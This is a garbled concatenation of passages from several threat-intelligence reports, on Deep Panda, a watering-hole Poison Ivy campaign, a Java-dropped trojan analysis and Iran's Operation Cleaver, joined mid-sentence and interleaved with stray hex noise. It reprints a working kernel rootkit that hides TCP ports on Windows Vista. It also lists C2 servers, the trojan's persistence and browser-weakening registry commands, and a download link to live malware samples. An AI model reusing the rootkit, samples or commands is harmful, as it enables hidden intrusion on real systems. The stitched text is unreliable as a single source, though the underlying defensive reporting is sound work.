tion Tool Sample public class RcDataCommand public byte channelHint; public RcDataCommandId cmdID; public RcDataCommandType cmdType; public string extraInfo; public string string_0; Implemented values for cmdID are as follows: CROWDSTRIKE S E N S I T I VE 28 DEEP PANDA cmdType can be one of the following (Interesting commands explained in detail): CROWDSTRIKE S E N S I T I VE 29 DEEP PANDA string_0 can have one of the following values dependant upon command id and type. Appendix D: Raw bytes of example Authentication packet. 03 01 74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Appendix E: Initialization of KEY and IV for AES for (int i = 0; i < 0x20; ++i ) { for (int i = 0; i < 0x20; ++i ) { buffer[i] = (byte)((i + 8) + ((byte)password[num++])); buffer[i] = (byte)(buffer[i] ^ 170); num = num % password.Length; CROWDSTRIKE S E N S I T I VE 30 DEEP PANDA Appendix F: Command & Control Servers C2 Server Port Geolocation Whois Samples Used In 1.9.5.38 443 Bukit inetnum: 1.9.0.0 - 47619fca20895abc83807321cbb80a3d 1.9.255.255 Mertajam, netname: Maylasia TMNET-AS-AP descr: Tmnet, Telekom Malaysia Bhd. descr: Telekom Malaysia Berhad descr: 44th Floor, Global Data Marketing, TM Global descr: Jalan Pantai Baharu country: MY admin-c: TA35- AP tech-c: TA35-AP mnt-by: AP- NIC-HM mnt-lower: TM- NET-AP mnt-routes: TM- NET-AP status: ALLO- CATED PORTABLE remarks: -+-+-+- +-+-+-+-+-+-+-+-++-+- +-+-+-+-+-+-+-+-+-+- +-+-+ remarks: This object can only be updated by APNIC hostmasters. remarks: To update this object, please contact APNIC remarks: host- masters and include your organisation account remarks: name in the subject line. remarks: -+-+-+- +-+-+-+-+-+-+-+-++-+- +-+-+-+-+-+-+-+-+-+- +-+-+ changed: hm- changed@apnic.net 20100610 source: APNIC CROWDSTRIKE S E N S I T I VE 31 DEEP PANDA C2 Server Port Geolocation Whois Samples Used In 202.86.190.3 80 Hong Kong inetnum: 2dce7fc3f52a692d8a84a0c182519133 202.86.190.0 - 202.86.191.255 de7500fc1065a081180841f32f06a537 netname: Tele- One-HK country: HK descr: Te- leOne(HK) Limited admin-c: HL13 tech-c: AC612-AP status: AS- SIGNED NON-POR- TABLE changed: an- gus@edu.ctm.net 20041122 mnt-by: MAINT- CTM-MO source: APNIC Appendix G: Edward Sun s kernel network hook code : [ ]NSI Module Hook : Hiding Port Under Windows Vista [ ] : eviloctal : 2007-7-8 20:53 : [ ]NSI Module Hook : Hiding Port Under Windows Vista http://rootkit.com/newsread_print.php?newsid=735 (www.eviloctal.com) cardmagic writes: Windows Vista has changed alot on network module, many old port hiding materials are no longer usable. In this post, I will share with you a simple code to hide port under Vista,hope it is useful for some guys . Actually under Windows Vista, netstat.exe will call InternalGetTcpTable2 which is exported by Iphlpapi.dll to list all open ports,then InternalGetTcpTable2 will transfer control to NsiAllocateAndGetTable which is exported by nsi.dll, kernel mode module of NSI -- nsiproxy.sys. nsiproxy.sys is almost like a wrapper of netio.sys, it will then call internal subroutines of netio.sys . Here ,we will use a relatively easy way -- NSI Kernel Module Dispatch Routine is an old topic, this time ,we will apply this method to nsiproxy.sys. Please Check the following code(Notice: I only tested it under Windows Vista RTM 32bit): CROWDSTRIKE S E N S I T I VE 32 DEEP PANDA : /////////////////////////////////////////////////////////////////////////////// //////// // Filename: PortHidDemo_Vista.c // Author: CardMagic(Edward) // Email: [email]sunmy1@sina.com[/email] // Description: // A Demostration Of Hiding // Tested Under Windows Vista Kernel Version 6000 MP (1 procs) Free x86 com- patible #include stdlib.h #include ntifs.h unsigned short htons(unsigned short hostshort); unsigned long inet_addr(const char *name); typedef unsigned long DWORD; PDRIVER_DISPATCH orgNsiDeviceIoControl = 0; DWORD gLocalPort=0,gLocalIp=0; typedef struct _HP_CONTEXT PIO_COMPLETION_ROUTINE oldIocomplete; PVOID oldCtx; BOOLEAN bShouldInvolve; PKPROCESS pcb; }HP_CONTEXT,*PHP_CONTEXT; CROWDSTRIKE S E N S I T I VE 33 DEEP PANDA }INTERNAL_TCP_TABLE_SUBENTRY,*PINTERNAL_TCP_TABLE_SUBENTRY; typedef struct _INTERNAL_TCP_TABLE_ENTRY INTERNAL_TCP_TABLE_SUBENTRY localEntry; INTERNAL_TCP_TABLE_SUBENTRY remoteEntry; }INTERNAL_TCP_TABLE_ENTRY,*PINTERNAL_TCP_TABLE_ENTRY; typedef struct _NSI_STATUS_ENTRY }NSI_STATUS_ENTRY,*PNSI_STATUS_ENTRY; typedef struct _NSI_PARAM // // Total 3CH size // DWORD UnknownParam1; DWORD UnknownParam2; DWORD UnknownParam3; DWORD UnknownParam4; DWORD UnknownParam5; DWORD UnknownParam6; PVOID lpMem; DWORD UnknownParam8; DWORD UnknownParam9; DWORD UnknownParam10; PNSI_STATUS_ENTRY lpStatus; DWORD UnknownParam12; DWORD UnknownParam13; DWORD UnknownParam14; DWORD TcpConnCount; }NSI_PARAM,*PNSI_PARAM; unsigned short htons(unsigned short a) unsigned short b = a; b = ( b << 8 ); a = ( a >> 8 ); return ( a | b ); CROWDSTRIKE S E N S I T I VE 34 DEEP PANDA unsigned long inet_addrt(const char* name) int len = strlen(name); unsigned long temp_val[4]; char namesec[10] ; { memset(namesec,0,10); if('.' == name[i]) { if(p) strncpy(namesec,name+p+1,i-p); else strncpy(namesec,name,i); p = i; } } strncpy(namesec,name+p+1,i-p); return (temp_val[0]|(temp_val[1]<<8)|(temp_val[2]<<16)|(temp_val[3]<<24)); NTSTATUS HPCompletion( IN PIRP Irp, IN PVOID Context ) PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(Irp); PIO_STACK_LOCATION irpspNext = IoGetNextIrpStackLocation(Irp); PHP_CONTEXT pCtx = Context; PNSI_PARAM nsiParam; int i; if(NT_SUCCESS(Irp->IoStatus.Status)) { CROWDSTRIKE S E N S I T I VE 35 DEEP PANDA nsiParam = Irp->UserBuffer; if(MmIsAddressValid(nsiParam->lpMem)) { // // netstat will involve internal calls which will use // nsiParam structure // if( (nsiParam->UnknownParam8 == 0x38)) { KAPC_STATE apcstate; PNSI_STATUS_ENTRY pStatusEntry = (PNSI_STATUS_ENTRY)nsiParam->lpStatus; PINTERNAL_TCP_TABLE_ENTRY pTcpEntry = (PINTERNAL_TCP_TABLE_ENTRY)nsi- Param->lpMem; int nItemCnt = nsiParam->TcpConnCount; KeStackAttachProcess(pCtx->pcb,&apcstate); // //make sure we are in the context of original process // for(i = 0;i < nItemCnt;i ++) { if((pTcpEntry[i].localEntry.dwIP == gLocalIp)&&(pTcpEntry[i].localEn- try.Port == gLocalPort)) { // //NSI will map status array entry to tcp table array entry //we must modify both synchronously // RtlCopyMemory(&pTcpEntry[i],&pTcpEntry[i+1],sizeof(INTERNAL_TCP_TA- BLE_ENTRY)*(nItemCnt-i)); RtlCopyMemory(&pStatusEntry[i],&pStatusEntry[i+1],sizeof(NSI_STA- TUS_ENTRY)*(nItemCnt-i)); nItemCnt--; nsiParam->TcpConnCount --; i--; } } KeUnstackDetachProcess(&apcstate); } } CROWDSTRIKE S E N S I T I VE 36 DEEP PANDA irpspNext->Context = pCtx->oldCtx; irpspNext->CompletionRoutine = pCtx->oldIocomplete; // //free the fake context // ExFreePool(Context); if(pCtx->bShouldInvolve) else { if (Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } NTSTATUS IN ULONG Attributes, IN PACCESS_STATE AccessState OPTIONAL, IN ACCESS_MASK DesiredAccess OPTIONAL, IN KPROCESSOR_MODE AccessMode, IN OUT PVOID ParseContext OPTIONAL, ); LARGE_INTEGER waittime; waittime.QuadPart = -50*1000*1000; - gNsiDeviceIoControl); //delay loading driver to make it more secure // CROWDSTRIKE S E N S I T I VE 37 DEEP PANDA KeDelayExecutionThread(KernelMode,0,&waittime); return STATUS_SUCCESS; NTSTATUS HPDummyDeviceIoControl( IN PIRP Irp ) ULONG ioControlCode; PIO_STACK_LOCATION irpStack; ULONG status; irpStack = IoGetCurrentIrpStackLocation(Irp); ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode; if(IOCTL_NSI_GETALLPARAM == ioControlCode) if(irpStack->Parameters.DeviceIoControl.InputBufferLength == sizeof(NSI_ PARAM)) { // //only care the related I/O // PHP_CONTEXT ctx = (HP_CONTEXT*)ExAllocatePool(NonPagedPool,sizeof(HP_CON- TEXT)); ctx->oldIocomplete = irpStack->CompletionRoutine; ctx->oldCtx = irpStack->Context; irpStack->CompletionRoutine = HPCompletion; irpStack->Context = ctx; ctx->pcb = IoGetCurrentProcess(); if((irpStack->Control&SL_INVOKE_ON_SUCCESS) ==SL_INVOKE_ON_SUCCESS) ctx->bShouldInvolve = TRUE; else ctx->bShouldInvolve = FALSE; irpStack->Control |= SL_INVOKE_ON_SUCCESS; } } CROWDSTRIKE S E N S I T I VE 38 DEEP PANDA //call original I/O control routine // return status; NTSTATUS DriverEntry( IN PUNICODE_STRING RegistryPath ) int i; NTSTATUS status; UNICODE_STRING uniNsiDrvName; #if DBG _asm int 3 //debug #endif RtlInitUnicodeString(&uniNsiDrvName,L \\Driver\\nsiproxy - if(!NT_SUCCESS(status)) { return STATUS_SUCCESS; } // //store the original dispatch function of NSI driver // gLocalIp = inet_addrt(LOCALHIDEIP); gLocalPort = htons(LOCALHIDEPORT); CROWDSTRIKE S E N S I T I VE 39 DEEP PANDA // //hook NSI dispatch routine // - myDeviceIoControl); return STATUS_SUCCESS; CROWDSTRIKE S E N S I T I VE 40 DEEP PANDA Appendix H: Command and Control MD5 Correlation MD5 Command and Control Server 47619fca20895abc83807321cbb80a3d 1.9.5.38:443 2dce7fc3f52a692d8a84a0c182519133 202.86.190.3:80 de7500fc1065a081180841f32f06a537 202.86.190.3:80 CROWDSTRIKE S E N S I T I VE 41 Aided Frame, Aided Direction (Because it s a redirect) Introduction: On September 24 2014, FireEye observed a new strategic web compromise (SWC) campaign that we believe is targeting non-profit organizations and non-governmental organizations (NGO) by hosting iframes on legitimate websites. The compromised websites contained an iframe to direct site visitors to a threat actor-controlled IP address that dropped a Poison Ivy remote access tool (RAT) onto victims systems. FireEye has not yet attributed this activity though we have identified links to the Sunshop Digital Quartermaster, a collective of malware authors that supports multiple China-based advanced persistent threat (APT) groups. FireEye previously established detection measures for this threat activity, ensuring our clients were prepared for these intrusion attempts well in advance of threat actor implementation. Activity Overview: On September 24, FireEye observed SWCs, likely conducted by a unitary threat group based on shared infrastructure and tools, on at least three different websites: an international non-profit organization that focuses on environmental advocacy, and two different NGOs that promote democracy and human rights. The group was able to compromise these websites and insert malicious iframes. Figure 1 displays one of the iframes. The threat group obfuscated the iframe on two of the compromised websites.

Figure 1: The iframe that directed website visitors to a threat actor-controlled IP address The iframes on these websites directed visitors to Java exploits hosted at 103.27.108.45. In turn, these exploits downloaded and decoded a payload hosted at: hxxp://103.27.108.45/img/js.php. A GET request to this URI returned the following content: setSecurityManager There are some other obfuscation techniques, but they are not important here. Instead, the following deobfuscated code line in the function init() gives us an idea where the actual payload is located: Resp localResp = new Resp(csfn("234p34a55445c43654k632434234235")); -> pack We can also see, that the java package contains a file named pack, so we open 7-Zip and unpack the file. A quick view with a PE viewer showed, that it is a x86 PE executable not even encrypted (SHA256: b832e4b5a4829c8df6de7b42c5cb32ef25b5ab59072b4c2a7838404cd0dd5e5f): Figure 2: Payload inside Java package Figure 3: Payload inside PE viewer So, I opened IDA Pro to take a quick look at the functionality. Together with the strings of the executable, we get a brief idea of what the purpose of this malware is. The important strings are as follows: SELECT * FROM AntiVirusProduct reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v PrivDiscUiShown /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DEPOff /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableFirstRunCustomize /t REG_DWORD /d 2 /f reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no reg add "HKCU\Software\Microsoft\Internet Explorer\Main" reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon /t REG_DWORD /d 3 /f reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v Enabled /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v WarnOnPostRedirect /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v WarnonZoneCrossing /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v AutoRecover /t REG_DWORD /d 2 /f reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v Completed /t REG_BINARY /d 1 \cmd.exe Together with the output of IDA Pro, we can see that this malware uses the command line tool cmd.exe for adding several registry keys to Internet Explorer. It also tries to retrieve possible AntiVirus information by using the COM interface (dc12a687-737f-11cf-884d-00aa004b2e24 -> IWbemLocator -> SELECT * FROM AntiVirusProduct). Furthermore, it makes use of the COM to launch an instance of Internet Explorer (d30c1661-cdaf-11d0-8a3e-00c04fc9e26e -> IWebBrowser2), supposedly to contact its C&C server. To verify this, we open up Wireshark and run the executable. As a result, we get the following network information: C&C server: defense.miraclecz.com (IP: 208.115.124.83) HTTP GET request: /index.asp?id=50100 Also, we see that it downloads some kind of data (Base64 encoded). But first, we combine the C&C server and the HTTP request and open the URL in our favorite Browser: Figure 4: Base64 encoded (2nd) Payload URL: defense.miraclecz.com/index.asp?id=50100 As you can see, there is a string named microsoft followed by Base64 encoded data. Side note: Is there also a Linux equivalent? Next, we copy the Base64 encoded data and go to the following website to let us decode it into a file (because I had the feeling it's just another unencrypted executable): http://www.motobit.com/util/base64-decoder-encoder.asp As a result, we get another executable (SHA256: a4863f44f48d1c4c050dd7baad767a86b348dd4d33924acf4e0a3cd40c6ae29f) that was only Base64 encoded and not encrypted in any way: Figure 5: Downloaded Payload So again, we fire up our PE viewer and take a look at the important strings: http://buy.miraclecz.com reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DEPOff /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableFirstRunCustomize /t REG_DWORD /d 2 /f reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no reg add "HKCU\Software\Microsoft\Internet Explorer\Main" reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon /t REG_DWORD /d 3 /f reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v Enabled /t REG_DWORD /d 1 /f reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v WarnOnPostRedirect /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v WarnonZoneCrossing /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v AutoRecover /t REG_DWORD /d 2 /f reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v Completed /t REG_BINARY /d 1 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v spoolsv.exe /t REG_SZ /d %%temp%%\spoolsv.exe /f spoolsv.exe Software\Microsoft\Windows\CurrentVersion\Run open file fail cmd timeout error %d Run cmd error %d cmd.exe /c %s>%s %s%d.txt open file error %temp% %s%s.ini myWObject \cmd.exe !DOCTYPE html %s/?id1=blank%d&id2=%d%d %s/?id1=%d%d Again, we load the executable into IDA Pro and quickly fly over the assembly code to get an idea of the functionality. Once again, it creates several registry entries with the help of the command line tool and creates an instance of the Internet Explorer (CoCreateInstance() -> d30c1661-cdaf-11d0-8a3e- 00c04fc9e26e) for contacting the C&C server. This time, the network information is as follows: C&C server: buy.miraclecz.com (IP: 74.121.191.33) URL parameters (from strings of executable): %s/?id1=blank%d&id2=%d%d %s/?id1=%d%d From the code we can see, that the sample has also the ability to encode/decode data from/to Base64. The dynamic analysis showed the malware sample contacted the C&C server, but wasn't sending any URL parameters (id1, id2). Also the server didn't respond... The files can be downloaded here: https://www.dropbox.com/s/ckr7p5kka62cc7s/Embassy%20of%20Greece%20-%20Beijing.zip Password: "infected" (without "") That's it, have a nice weekend... 6f20476f6f64 44 20 c c2 c2 b204576696 6f20476 f64 44 20 6c 6e 04576696 9 86 546 6b2 86 546 #OPCLEAVER 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Iran should be considered a first-tier cyber power. Gabi Siboni Israel Institute for National Security Studies cybersecurity expert Iran has rapidly gained near parity with the Chinese but may be closer to the Russians in terms of swagger. Retired Admiral William J. Fallon Former Commander CENTCOM Global critical infrastructure organizations need to take this threat seriously. The Iranian adversary is real and they coming, if not already here. Mark Weatherford Former Deputy Under Secretary for Cybersecurity at the US Department of Homeland Security Yes, China and one or two others can shut down our power grids. Admiral Michael Rogers Director of the National Security Agency and head of US Cyber Command The world has combated cyber threats by doing the same thing over and over again s the definition of insanity. Jeff Moss Co-Chair DHS Community Resiliency Task Force, Founder of DEFCON and BlackHat Jalal ad-Din Muhammad Rumi 13th Century Persian poet, jurist, theologian and Sufi mystic English translation: Silence gives answers. #OPCLEAVER PREVENTION IS EVERYTHING A personal note from Cylance, CEO Stuart McClure n February 24, 1989, United Flight 811 left Honolulu, Hawaii, on its way to Auckland, New Zealand, with 364 souls on board. Somewhere between 23,000 and 24,000 feet an enormous explosion ejected nine passengers into the dark void over the Pacific Ocean.1 This aviation disaster was later determined to have been caused by a simple design flaw combined with the lack of corrective action. Boeing and the FAA had known about this problem for over one year prior to the accident. The result: nine people lost their lives. The other 337 passengers plus 18 crew members who survived, live with the memory every day; all of it due to a highly preventable design flaw. As a 19-year-old young adult, I was grateful to have survived but I had no idea how that single event would impact my future in such a profound way. Much of my passion for cybersecurity can be directly attributed to that fateful day. The United Flight 811 accident proves just how important it is to detect flaws before tragedy strikes. Preventable 6 f20476 f64 disasters like this are what motivates the Cylance team to create a safer world. We do everything we can to uncover 4 4 the flaws in technologies before they damage the physical or cyber world. Our mission is simple: to protect the world. This report is an attempt to deliver on that mission. 20 and professionally for more than 26 years, there is no doubt in my mind After tracking hackers both personally c that the release of the information contained in the Operation Cleaver report is vital to the security of the world c2 critical infrastructure. 04576696 The focus of the Operation Cleaver report is on one particular Iranian team we ve dubbed Tarh Andishan, the infrastructure they utilize, as well as their tactics, techniques and procedures. Roughly translated, Tarh Andishan means thinkers or innovators . This team displays an evolved skillset and uses a complex infrastructure to perform attacks of espionage, theft, and the potential destruction of control systems and networks. While our investigation is ongoing, and we presently have limited visibility inside many of the compromised networks, Cylance observed Tarh Andishan actively targeting, attacking, and compromising more than 50 victims since at least 2012. Cylance is committed to responsible disclosure and has refrained from exaggeration and embellishment in this 2 report, limiting our content to only that which can be definitively confirmed. However, we have speculated on the b possible motivations behind these attacks, given our deep knowledge and understanding of the cyber landscape. 6 We have made every effort to notify all affected entities prior to publishing this report. Additionally, all personally 6e identifiable information about the members of Operation Cleaver has been withheld. We don t care who the adversary 9 is, where they work or reside, who they re dating or what party photos they upload to Facebook all we care about is 6 preventing campaigns like Operation Cleaver from negatively affecting the real world. 8 546 This report is for the world s cyber defenders never give up! Sincerely, Stuart McClure CEO/President Cylance, Inc. 3 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 TABLE OF CONTENTS Executive Summary ......................................................................... 5 Background ........................................................................................ 6 Why the name Cleaver ? ............................................................. 8 Why Expose Iran Now? .................................................................. 8 Critical Discoveries ......................................................................... 9 Targets & Victims ............................................................................ 12 Attribution ......................................................................................... 17 Attacker IP Addresses .............................................................. 18 Attacker Domains ...................................................................... 19 Tools & Software ........................................................................ 20 Tarh Andishan ............................................................................ 24 Members ...................................................................................... 26 Teams ............................................................................................ 30 Tactics, Techniques & Procedures (TTPs) ............................... 31 Initial Compromise ..................................................................... 32 Privilege Escalation & Pivoting ............................................... 36 Exfiltration .................................................................................... 41 Persistence .................................................................................. 47 Mitigation .......................................................................................... 60 Speculation: The Why ................................................................... 62 Conclusion ........................................................................................ 65 References ........................................................................................ 67 About Cylance ................................................................................. 68 Cylance Products ........................................................................... 69 Cylance Services ............................................................................ 70 Acknowledgments ...................................................................... 71 The Operation Cleaver Logo ...................................................... 72 Appendix A: Indicators of Compromise (IOC) ........................ 73 #OPCLEAVER EXECUTIVE SUMMARY Since at least 2012, Iranian actors have directly attacked, established persistence in, and extracted highly sensitive materials from the networks of government agencies and major critical infrastructure companies in the following countries: Canada, China, England, France, Germany, India, Israel, Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South Korea, Turkey, United Arab Emirates, and the United States. 6 f20476 f64 Iran is the new China. 44 20 the past several years, conducted a significant global surveillance Operation Cleaver has, over c and infiltration campaign. To date it has successfully evaded detection by existing security c2 technologies. The group is believed to work from Tehran, Iran, although auxiliary team 04576696 members were identified in other locations including the Netherlands, Canada, and the UK. The group successfully leveraged both publicly available, and customized tools to attack and compromise targets around the globe. The targets include military, oil and gas, energy and utilities, transportation, airlines, airports, hospitals, telecommunications, technology, education, aerospace, Defense Industrial Base (DIB), chemical companies, and governments. During intense intelligence gathering over the last 24 months, we observed the technical 2 capabilities of the Operation Cleaver team rapidly evolve faster than any previously observed 6b Iranian effort. As Iran s cyber warfare capabilities continue to morph,2 the probability of an attack e that could impact the physical world at a national or global level is rapidly increasing.3 Their 6 capabilities have advanced beyond simple website defacements, Distributed Denial of Service 9 (DDoS) attacks, and Hacking Exposed style techniques. 86 546 With minimal separation between private companies and the Iranian government, their modus operandi seems clear: blur the line between legitimate engineering companies and state- sponsored cyber hacking teams to establish a foothold in the world s critical infrastructure. Iran s rising expertise, along with their choice of victims, has compelled us to release this report sooner than we would have liked in order to expose Operation Cleaver to the world. The evidence and indicators of compromise we provide in this report will allow potentially unaware victims to detect and eliminate Cleaver s incursions into their networks. 5 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 BACKGROUND Iran has been severely impacted by debilitating and extremely advanced malware campaigns since at least 2009. Famous examples of these efforts include industrial sabotage via Stuxnet (2009 - 2010), and espionage with Duqu (2009 - 2011) as well as Flame (2012). These campaigns have targeted Iran nuclear program, and oil and gas operations. Stuxnet was an eye-opening event for Iranian authorities, exposing them to the world of physical destruction via electronic means. Hacking campaigns sourced out of Iran are nothing new. Since the early 2000 s, the information security industry as a whole has tracked teams like the Iranian Cyber Army, which mainly focuses on patriotic hacking (website defacements). After the release of Stuxnet, Iran s motivations appear to have shifted. Retaliation for Stuxnet began almost immediately in 2011 with campaigns like the certificate compromises of Comodo and DigiNotar. These attacks served as a warning, showcasing the rapid evolution of Iran s hacking skills. A major retaliation came in the form of 2012 s Shamoon campaign, which impacted RasGas and Saudi Aramco. It s estimated that Shamoon impacted over 30,000 computer endpoints and cost the affected companies tens-of-thousands of hours recovering from the attacks. The direct financial impact from this retaliation and amount of downtime experienced were staggering. Shamoon was truly a watershed event for security defenders. It was the first glimpse into the real capabillity and intention of Iranian cyber operations. We see the same motivation and intent here in Operation Cleaver: establishing a beachhead for cyber sabotage. We saw further Iranian backlash in late 2012 and early 2013 in the form of Operation Ababil Distributed Denial of Service (DDoS) attacks against US banks. These attacks were debilitating and impacted the availability of online banking services. Yet more backlash was witnessed with FireEye exposure of Operation Saffron Rose, an espionage campaign executed by the Ajax Security Team in 2014. In May 2014, evidence emerged of a highly targeted waterhole attack that leveraged social media, dubbed Operation Newscaster, which was uncovered by iSight Partners. In June 2013, Israeli Prime Minister Benjamin Netanyahu accused Iran of carrying out non-stop attacks on [Israel s] vital national systems including water, power and banking 4. The following September of 2013, the Wall Street Journal accused Iran of hacking into unclassified U.S. Navy computers in San Diego s NMCI (Navy Marine Corp Intranet),5 which we can confirm was part of Operation Cleaver. #OPCLEAVER While previously reported operations attributed to Iran have largely focused on Defense Industrial Base (DIB) companies, the United States Federal Government, or targets in Middle Eastern countries, Operation Cleaver has instead focused on a wide array of targets, including energy producers and utilities, commercial airlines and airports, military intelligence, aerospace, hospitals, and even universities with only ten of the targets based in the United States. Such broad targeting demonstrates to the world that Iran is no longer content to retaliate against the US and Israel alone. They have bigger intentions: to position themselves to impact critical infrastructure globally. ORIGINATION RETALIATION 2010 f20476 f64 StUXNEt 6 4 4 2011 20 c duqu c2 ~ 04576696 DigiNotar 2012 FL ME SHAM N GAUSS 2 OPERATION b Ababil e6 2013 6 NMC NMC NMCI CII 9 NAVY MARINE CORPS INTRANET 86 2014 546 Saffr n Rose NEWSCASTER 476f6f64 6f20 44 20 2c b204576696c e6 96 86 546 Figure 1: The sequence of major Iran-centric attacks; either as victims (left) or attackers (right). 7 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 WHY THE NAME CLEAVER? The string cleaver is found several times in a variety of custom software used in Operation Cleaver, including: 1 Numerous references inside the namespaces of their custom bot code codenamed TinyZBot, e.g.: e:\projects\cleaver\trunk\zhoupin_cleaver\obj\x86\release\netscp.pdb 2 PDBs associated with the hacker name Jimbp , e.g.: c:\users\jimbp\desktop\binder_1 - for cleaver\binder_1\obj\x86\release\setup.pdb 3 PDBs associated with the keystroke loggers, artifacts, and numerous other tools, e.g.: e:\Projects\Cleaver\trunk\MainModule\obj\Release\MainModule.pdb WHY EXPOSE IRAN NOW? We believe our visibility into this campaign represents only a fraction of Operation Cleaver s full scope. We believe that if the operation is left to continue unabated, it is only a matter of time before the world s physical safety is impacted by it. While the disclosure of this information will be a detriment to our ability to track the activity of this group, it will allow the security industry as a whole to defend against this threat. As such, we are exposing this cyber campaign early in an attempt to minimize additional real-world impact and prevent further victimization. CRITICAL DISCOVERIES 6f20476f6f64 44 20 c c2 b204576696 6e6 9 86 546 #OPCLEAVER 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 CRITICAL DISCOVERIES Iranian Actors Are Behind Operation Cleaver Persian hacker names are used throughout the campaign including: Salman Ghazikhani, Bahman Mohebbi, Kaj, Parviz, Alireza, and numerous others. Numerous domains used in the campaign were registered in Iran. Infrastructure leveraged in the attack was registered in Iran to the corporate entity Tarh Andishan, which translates to invention or innovation in Farsi. Source netblocks and ASNs are registered to Iran. Hacker tools warn when their external IP address traces back to Iran. The infrastructure is hosted through Netafraz.com, an Iranian provider out of Isfahan, Iran. The infrastructure utilized in the campaign is too significant to be a lone individual or a small group. We believe this work was sponsored by Iran. Operation Cleaver Targets Critical Infrastructure Around the World US Military targets including NMCI in October 2013.5 Confirmed targeting of global government entities. Networks and systems targeted in critical industries like energy and utilities, oil and gas, and chemical companies. Assets (both cyber and physical) and logistics information were compromised at major airline operators, airports, and transportation companies. Various global telecommunications, technology, healthcare, aerospace, and defense companies were breached as part of the operation. Confidential critical infrastructure documents were harvested from major educational institutions around the world. Iran s Cyber Hacking Skills Have Evolved Initial compromise techniques include SQL injection, web attacks, and creative deception- based attacks all of which have been implemented in the past by Chinese and Russian hacking teams. Pivoting and exploitation techniques leveraged existing public exploits for MS08-067 and Windows privilege escalations, and were coupled with automated, worm-like propagation mechanisms. Customized private tools with functions that include ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging. The ability to build customized tools to compromise any target they choose. #OPCLEAVER Indicators of Compromise (IOC) Private signing certificates of one victim were captured allowing the Operation Cleaver team to compromise the entirety of their organization. Over the past two years, Cylance has collected over 8GB of data including over 80,000 files of exfiltrated data, hacker tools, victim logs, and highly sensitive reconnaissance data. Data from sinkholed command and control servers has allowed us to track this active campaign. Cylance is releasing more than 150 IOCs and samples associated with the Cleaver campaign to empower the security community to detect existing compromises in their own organizations, as well as potentially block future attacks from these teams. Speculation 6f20476 f64 This campaign continues Iran s retaliation for Stuxnet, Duqu, and Flame. 44 This is a state-sponsored campaign. 20 There is a possibility that this campaign could affect airline passenger safety. This campaign s intentions may be to damage Industrial Control Systems (ICS), Supervisory c c2 Control and Data Acquisition (SCADA) systems, and impact Critical Infrastructure and Key Resources (CIKR). 04576696 This campaign could be a way to demonstrate Iran s cyber capabilities for additional geopolitical leverage, due to the breadth and depth of their global targets. There is an intense focus on CIKR companies in South Korea, which could give Iran additional clout in their burgeoning partnership with North Korea. In September 2012, Iran signed an extensive agreement for technology cooperation agreement with North Korea, which would allow for collaboration on various efforts including IT and security.6 Iran is recruiting from within the universities and potentially using hackers for hire 6b2 6e 9 86 546 11 TARGETS & VICTIMS 6f20476f6f64 044 2 c c2 b204576696 6e6 9 686 54 #OPCLEAVER #OPCLEAVER TARGETS & VICTIMS The Cleaver team targets some of the most sensitive global critical infrastructure companies in the world, including military, oil and gas, airlines, airports, energy producers, utilities, transportation, healthcare, telecommunications, technology, manufacturing, education, aerospace, Defense Industrial Base (DIB), chemical companies and governments. Countries impacted include Canada, China, England, France, Germany, India, Israel, Kuwait, Mexico, Pakistan, Qatar, Saudi Arabia, South Korea, Turkey, United Arab Emirates, and the US. The following is a breakdown by country of which industries were targeted and/or victimized: Canada Kuwait South Korea - Energy & Utilities 6f20476 f64 - Oil & Gas - Airports - Oil & Gas 44 - Telecommunications - Airlines 20 Mexico - Hospitals - Education - Technology c China - Oil & Gas - Heavy Manufacturing c2 - Aerospace 04576696 Pakistan Turkey - Airports - Oil & Gas England - Education - Hospitals - Technology United Arab Emirates France - Airlines - Government - Oil & Gas - Airlines 2 Qatar b Germany - Oil & Gas United States 6 - Government e - Telecommunications - Airlines - Airlines 6 - Education 9 India 86 - Chemicals - Education Saudi Arabia - Transportation 546 - Oil & Gas - Energy & Utilities - 